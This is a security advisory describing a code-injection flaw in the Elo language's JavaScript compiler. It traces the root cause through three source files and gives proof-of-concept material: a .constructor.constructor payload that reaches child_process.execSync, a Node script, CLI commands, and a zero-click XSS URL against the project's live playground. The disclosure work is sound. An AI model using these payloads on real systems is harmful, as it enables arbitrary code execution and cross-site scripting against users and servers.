CVE-2026-44267

An unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path, defaultFormats.elo.parse(), the bin/elo CLI, or the live browser playground at elo-lang.org/try, can execute arbitrary code in the host JavaScript runtime. A payload built from the .constructor.constructor chain compiles, without modification, to a live Function invocation in the emitted JavaScript, escaping any sandbox assumption around "Elo is a safe data/DSL language."

Vulnerable sink and root cause

Three interacting sites in src/ produce the bug at commit 749af7b:

1. src/transform.ts:144–158, the member_access handler allows access on types any, object, or array without filtering the property name. This is the only place an integrator could have plugged a denylist.
2. src/compilers/javascript.ts:210, the JS emitter writes ${objectExpr}.${ir.property} verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript.
3. src/parser.ts:163–170, 748–750, the parser accepts constructor (and other JS meta-property names) as an ordinary identifier, so .constructor clears type-checking without triggering any warning.

Combined, the Elo expression ({}).constructor.constructor('…')() compiles to a live Function('…')() call in the emitted JS, executing in the realm of whichever sink runs the compiled code.

Attack surfaces

All three surfaces share the same root cause (no denylist in transform.ts) and are addressed by the same one-file patch:

Proof of Concept

Common payload (works on all three entry points):

({}).constructor.constructor('return this.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'id\').toString()')()

Library API, poc-minimal.js:

// npm install elo
const { defaultFormats } = require('elo');

const payload = "({}).constructor.constructor('return this.constructor.constructor(\\'return process\\')().mainModule.require(\\'child_process\\').execSync(\\'id\\').toString()')()";

console.log(defaultFormats.elo.parse(payload));
// → uid=1000(ultrasupara) gid=1000(ultrasupara) groups=…

CLI, poc-cli.sh:

node bin/elo payload.elo
# uid=1000(ultrasupara)…

node bin/elo -e "_" -d @payload.elo -f elo
# uid=1000(ultrasupara)…

Browser playground, 0-click XSS URL:

https://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29&run=1

Opening this URL causes alert(document.domain) to fire automatically after ~100 ms with no user interaction beyond navigating to the link. The 301 redirect preserves the ?code= parameter intact. End-to-end execution on the live production site was captured in a screen recording attached to the original report.

Independence from GHSA #3 (AST-API injection)

This finding is independent of the Medium-severity AST-API report (GHSA #3). That fix's identifier regex ^[a-zA-Z_][a-zA-Z0-9_]*$ happens to accept constructor, and its threat model requires an attacker-controlled AST object rather than a plain string. The current finding requires only a plain Elo string, which is a strictly weaker attacker model.